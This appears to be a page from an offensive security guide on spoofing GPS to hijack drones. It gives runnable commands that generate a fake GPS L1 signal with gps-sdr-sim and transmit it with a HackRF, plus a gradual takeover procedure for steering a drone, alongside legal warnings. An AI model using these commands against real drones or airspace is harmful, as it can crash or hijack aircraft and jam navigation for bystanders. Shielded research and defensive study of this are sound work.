GPS Spoofing

Navigation

GPS spoofing attacks can manipulate drone position, triggering geofencing, forcing landings, or redirecting flight paths. Drones rely heavily on GPS for navigation.

GPS Spoofing Concepts

Attack Effects

  • • Position shift (gradual or sudden)
  • • Trigger geofence restrictions
  • • Force Return-to-Home
  • • Time manipulation

Requirements

  • • SDR capable of GPS frequencies
  • • GPS signal generator software
  • • Appropriate antenna
  • • Line of sight to target

GPS Spoofing Tools

gps-spoofing.sh
bash
# GPS-SDR-SIM - GPS signal simulator
git clone https://github.com/osqzss/gps-sdr-sim

# Generate GPS signal for specific location
./gps-sdr-sim -e brdc.nav -l 37.7749,-122.4194,100

# Transmit with HackRF (GPS L1: 1575.42 MHz)
hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 47

# IMPORTANT: Use Faraday cage for testing
# GPS spoofing is illegal in most jurisdictions

# Gradual takeover technique:
# 1. Start with legitimate position
# 2. Overpower real signals gradually
# 3. Slowly shift position to target
# 4. Drone follows spoofed position

Legal Warning

GPS spoofing is a federal crime in most countries. Only perform in shielded environments with proper authorization for research purposes.